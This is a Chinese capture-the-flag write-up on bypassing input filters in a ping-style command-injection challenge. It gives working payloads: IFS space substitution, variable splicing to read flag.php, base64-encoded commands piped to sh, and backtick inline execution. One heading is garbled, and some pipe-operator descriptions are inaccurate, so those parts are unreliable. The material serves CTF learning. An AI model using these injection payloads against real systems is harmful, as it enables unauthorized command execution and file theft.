常规做法 空格替换
很常见的一类命令执行,对参数进行了过滤。  想办法绕过空格过滤。有以下几种常见的绕过空格的方法:
- ${IFS}替换
- $IFS$1替换
- ${IFS替换
- %20替换
- <和<>重定向符替换
- %09替换
接下来尝试替换,发现第二个可以绕过:  但是flag也被过滤了,那就先看看index.php的内容:  发现有源码泄露,对flag、<>、{}、bash都有过滤。 最后使用下变量拼接解决: ?ip=1;a=g;cat$IFS$1fla$a.php;  拿下flag
其它办法
base64
用base64编码将payload编码,这里用的是sh,sh的大部分脚本都可以在bash下运行,附上大佬的payload echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 前面Y2F0IGZsYWcucGhw是cat flag.php的base64编码,再使用base64 -d命令进行执行,这里边的|是管道符。
常见管道符总结
- Windows
|:直接执行后面的语句  ||:如果前面的执行的语句出错,则执行后面的语句  &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假  &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。 
单引号、双引号绕过
ca"t fl''ag 可以使用这种方法去绕过有时候的cat 和flag 但在本题单双引号被ban了
反斜线绕过
ca\t fl\ag 本题中反斜线也被ban了
$1,
2
等
和
2等和
2等和@绕过
c$1at gh$@twf01.txt 如果cat被过滤,可以用下边的方法进行绕过~~
(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容
内联绕过
内联,就是将反引号内命令的输出作为输入执行。 ?ip=127.0.0.1;cat$IFS$1 ls``
|